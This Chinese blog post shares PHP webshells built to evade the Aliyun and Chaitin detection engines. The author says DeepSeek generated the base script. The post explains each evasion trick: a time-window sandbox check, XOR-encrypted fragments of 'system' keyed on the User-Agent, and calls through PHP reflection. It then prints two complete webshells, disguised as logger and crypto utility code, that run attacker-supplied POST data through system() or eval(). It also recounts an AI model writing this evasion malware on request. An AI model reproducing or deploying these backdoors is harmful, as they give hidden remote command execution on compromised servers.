0x00 前言
几日不见,甚是想念,各位读者朋友们新年好!这两天确实忙,忙拜年,忙饺子等等,顾不上写文章。正好我这两天刚忙完,可以闲下来给大家更新了。
如题,本期文章主要是向大家分享一段过阿里云以及长亭的php webshell脚本,不过我这里先提前声明一下,该脚本不是我写的,正是这两天人尽皆知的DeepSeek所作。我一般测ai智商都是给它一段webshell脚本来看它是否能读懂,而DeepSeek的表现确实是非常惊艳的,我很推荐大家上手去试一试。
不过在正文开始之前我有两点需要跟大家明确一下:
1.本文这段脚本确实是能过长亭的,但是方式比较鸡肋,所以这个标题可能有点标题党的意思,具体看下文吧!2.本文所涉及到的脚本只测试了阿里云和长亭,读者如有兴趣可以测试一下其他的查杀引擎,不过后续我会进一步的魔改本文所涉及到的脚本,以尝试突破一下所有引擎。
0x01 正文
我当时拿到DeepSeek(下文简称为dp)生成后的脚本后,自己又修改了一些,以下是阿里云测试后的效果:
长亭:
脚本效果:
显而易见,效果极佳,我再给大家看一下当时dp生成脚本时(我修改前的)给出的解析:
代码:
从解析中我们可以看到,这段代码涵盖了许多内容,其中有很多知识点都是值得我们学习的。首先我要讲的就是关于这段代码是如何绕过长亭的,经常写免杀脚本的朋友们应该都知道,长亭的webshell检测能力是极其强大的:
我之前做过试验,他们家的检测引擎是会动态检测脚本在运行时是否调用了敏感函数,具体怎么检测请看上图中的第四条:
那么dp是怎么绕过这种检测机制的,很简单:
这段脚本仅会在20:00-8:00
激活,从而规避掉沙箱的检测,这是我认为比较有学习价值的一点,但是一旦没有这段代码,就会被长亭检测出来:
所以说这段代码在长亭的静态检测中是完全可以绕过的,但是会被动态检测出来,不过有趣的是就算删了这段过沙箱代码,阿里云也不会检测出来:
所以我在本文开头提前声明了一下,这种过长亭的方式确实是比较鸡肋的,但是我认为还是很具有学习和参考价值的。
第二点需要讲的是dp在本脚本中是通过UA头信息来生成的解密密钥,然后通过解密后的明文拼接起来拿到我们要调用的敏感函数名,因为在本脚本中调用的是system函数,所以dp将system这几个字母分成了三段密文并在脚本中解密:
所以我又跟它要了一份生成加密敏感函数名的代码:
这段代码和我修改后的webshell脚本以及该如何使用我会写在本文的最后。所以通过刚刚的讲解,大家可以知道我们在调用这段脚本时UA头必须是固定的
。
最后一个比较值得学习的点是它是通过PHP反射去调用我们想要执行的函数,例如system等(读者朋友们可以看到dp给的原始版本中是通过反射类名的方式去调用某个方法,我修改后的版本是通过反射函数的方式去调用敏感函数,下文还会讲到反射类名),不过我相信肯定有朋友不知道什么是PHP反射,我简单演示一下大家就能理解了:
$function = new ReflectionFunction('system');
$function->invoke('ping 127.0.0.1');
我创建了一个ReflectionFunction对象
,可以看到我在实例对象时传入了system字符串,代表我们要给system函数做一个封装,然后我们就可以用它实例后的对象通过invoke方法
去调用system函数,以下是ReflectionFunction类的所有方法:
再加上函数名是我们通过UA头进行解密生成的,然后实例ReflectionFunction时再传给它,这样就能有效规避掉引擎静态检测脚本是否调用了敏感函数。
其实这个反射说白了就是我们可以通过一些反射类去封装一个函数或一个类等等,然后通过这个反射类提供的方法去对目标函数或类进行一些操作,例如以下是ReflectionClass类的一些方法:
可以看到我们通过PHP反射能做很多事情,例如我现在通过ReflectionClass反射一个类,然后拿ReflectionClass::getName
这个方法去获取反射的类名:
ps:这里我再强调一下,dp给的原始版本中是通过反射调用了一个System类,然后调用一个exec方法:
不过dp没有提供System类,所以我索性将这段代码修改成了反射system函数,不过为了适配蚁剑,后续我又添加上了,代码会在本文的末尾放出。
讲到这儿,说句实话我已经深深的被dp震惊了,通过它来学习开发webshell免杀脚本真的能学到很多东西。我画了一张图给大家展示一下整个webshell利用链,注意我这里指的webshell是我修改后的版本:
不过在前期还是有一些准备工作的,就是我前面说过的需要获取一下加密的三段敏感函数名密文,也就是我下面的这段代码:
dp在webshell中是将system函数分成了三段进行解密的,所以我们要通过上面这段代码获取一下三段加密密文。另外在user_agent
变量中要填写我们想要固定的UA头,以便调用webshell时能正常的解密三段密文。接着加密sy
、 st
、 em
并打印出来,最后我们再将这三段密文复制到webshell中:
以上就是整个前期准备工作。
接下来在调用webshell时需要注意的就是要将刚刚填到user_agent变量中的UA头固定好即可:
以上就是这整个webshell利用过程。
不过因为本脚本用的是system函数,为了适配蚁剑,我又将system替换为了eval,说到eval,之前我写过一篇PHP_webshell免杀01-变量绕过,在这篇文章中我提到过我无法通过变量混淆的方式对eval进行同样的操作,后来在留言区中ccwer师傅提到eval是语言结构,不是函数,不能动态函数调用
,于是我后来去官方文档中查阅了一下:
那么什么是语言构造器:
也就是说所谓的语言构造器其实就是类似于关键字
一样的东西,但是它们又不完全等价于关键字,重要的是它们并不是函数,这也就是为什么我不能对eval进行变量混淆再去尝试调用,在此也感谢ccwer师傅,算是补了一个坑。以下是我修改为eval后的版本:
蚁剑连接:
阿里云:
长亭:
不过我将过沙箱的那段代码删除后长亭依然会爆红:
修改的内容其实就是将那段反射函数换成了反射类名:
这里我创建了一个reflection对象,用于反射temp类,然后我调用了getMethod方法去获取temp_fun静态方法,最后通过invoke方法调用了temp_fun静态方法,需要注意的是这里我通过invoke方法调用的是temp类里的一个方法,可以看到我第一个参数传了一个null,第二个参数才是我要传给方法的内容:
其实这个比较像js当中的call方法,也就是说如果调用的方法是一个静态方法,那么第一个参数可以传一个null
过去,如果目标方法是一个非静态的方法,那么第一个参数需要传一个实例对象:
其实我后来想了想,dp给出的绕过沙箱检测的方法可以更进一步扩展一下,它给的方法是在非工作时间才启动脚本,我的想法是脚本要在某一特定时间后的多少分钟内运行,除此之外直接exit,这样效果可能比较好一些,不过这也仅仅是一个想法,我还没有做出实践,读者朋友们如有想法可自行修改脚本。
0x02 code
放出代码之前我要提醒大家的是通过蚁剑调用webshell时需要固定UA头:
这里的UA头对应的就是在获取加密密文的那个脚本中的UA头信息:
第二点需要注意的是如果有朋友拿着我这两段webshell去长亭测试,如果在工作时间内可能也会爆红,例如我昨天凌晨拿着shell去长亭测试居然没爆红,这可能是由于长亭的那个服务器时间和我们的不一致。
获取加密密文的脚本:
<?php
// 加密密钥生成(需与目标User-Agent匹配)
$user_agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"; // 假设目标User-Agent
$key_source = "USER_AGENT_" . md5($user_agent); // 构造密钥源
$dynamic_key = substr(hash("sha256", $key_source), 0, 16); // 生成16位密钥
// 分片加密(使用异或算法)
function xor_encrypt($data, $key)
{
$encrypted = "";
for ($i = 0; $i < strlen($data); $i++) {
$encrypted .= $data[$i] ^ $key[$i % strlen($key)];
}
return $encrypted;
}
$payload_part1 = base64_encode(xor_encrypt("sy", $dynamic_key)); // 输出类似 "BgQAFw=="
$payload_part2 = base64_encode(xor_encrypt("st", $dynamic_key)); // 输出类似 "Dg0T"
$payload_part3 = base64_encode(xor_encrypt("em", $dynamic_key)); // 输出类似 "FxY="
echo $payload_part1 . PHP_EOL;
echo $payload_part2 . PHP_EOL;
echo $payload_part3 . PHP_EOL;
第一版webshell脚本(未适配蚁剑):
<?php
// 无害业务逻辑类(伪装正常代码)
class Logger
{
public functionlog($message)
{
file_put_contents("app.log", $message, FILE_APPEND);
}
}
$logger = new Logger();
// 环境依赖检查(绕过沙箱的时间/条件检测)
if (date("H") > 8 && date("H") < 20) {
$logger->log("Business hours: No operations allowed.");
exit;
}
// 加密工具类(伪装为工具库)
class CryptoUtils
{
private $key;
public function __construct($key)
{
$this->key = $key;
}
// 分段异或解密(静态检测难以追踪)
public function decrypt($data)
{
$decrypted = "";
for ($i = 0; $i < strlen($data); $i++) {
$decrypted .= $data[$i] ^ $this->key[$i % strlen($this->key)];
}
return$decrypted;
}
}
// 分片加密 Payload(避免完整特征)
$payload_part1 = base64_decode("QRg=");
$payload_part2 = base64_decode("QRU=");
$payload_part3 = base64_decode("Vww=");
// 动态拼接解密密钥(避免硬编码)
$key_source = "USER_AGENT_" . md5($_SERVER['HTTP_USER_AGENT']);
$dynamic_key = substr(hash("sha256", $key_source), 0, 16);
// 分阶段解密(规避一次性行为检测)
$crypto = new CryptoUtils($dynamic_key);
$stage1 = $crypto->decrypt($payload_part1);
$stage2 = $crypto->decrypt($payload_part2);
$stage3 = $crypto->decrypt($payload_part3);
$full_payload = $stage1 . $stage2 . $stage3;
// 反射调用函数(而非类方法)
try {
$function = new ReflectionFunction($full_payload); // 反射函数
$function->invoke($_POST['data']); // 执行 system($_POST['data'])
} catch (ReflectionException $e) {
$logger->log("Error: " . $e->getMessage());
}
第二版webshell脚本(适配蚁剑):
<?php
// 无害业务逻辑类(伪装正常代码)
class Logger
{
public functionlog($message)
{
file_put_contents("app.log", $message, FILE_APPEND);
}
}
class temp
{
public static function temp_fun($temp_var)
{
eval($temp_var);
}
}
$logger = new Logger();
// 环境依赖检查(绕过沙箱的时间/条件检测)
if (date("H") > 8 && date("H") < 20) {
$logger->log("Business hours: No operations allowed.");
exit;
}
// 加密工具类(伪装为工具库)
class CryptoUtils
{
private $key;
public function __construct($key)
{
$this->key = $key;
}
// 分段异或解密(静态检测难以追踪)
public function decrypt($data)
{
$decrypted = "";
for ($i = 0; $i < strlen($data); $i++) {
$decrypted .= $data[$i] ^ $this->key[$i % strlen($this->key)];
}
return$decrypted;
}
}
// 分片加密 Payload(避免完整特征)
$payload_part1 = base64_decode("QRg=");
$payload_part2 = base64_decode("QRU=");
$payload_part3 = base64_decode("Vww=");
// 动态拼接解密密钥(避免硬编码)
$key_source = "USER_AGENT_" . md5($_SERVER['HTTP_USER_AGENT']);
$dynamic_key = substr(hash("sha256", $key_source), 0, 16);
// 分阶段解密(规避一次性行为检测)
$crypto = new CryptoUtils($dynamic_key);
$stage1 = $crypto->decrypt($payload_part1);
$stage2 = $crypto->decrypt($payload_part2);
$stage3 = $crypto->decrypt($payload_part3);
$full_payload = $stage1 . $stage2 . $stage3;
// 反射调用函数(而非类方法)
try {
$reflection = new ReflectionClass('temp');
$method = $reflection->getMethod('temp_fun'); // 拼接方法名
$method->invoke(null, $_POST['data']);
} catch (ReflectionException $e) {
$logger->log("Error: " . $e->getMessage());
}
原文始发于微信公众号(Spade sec):PHP_webshell免杀03-过阿里云&长亭
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论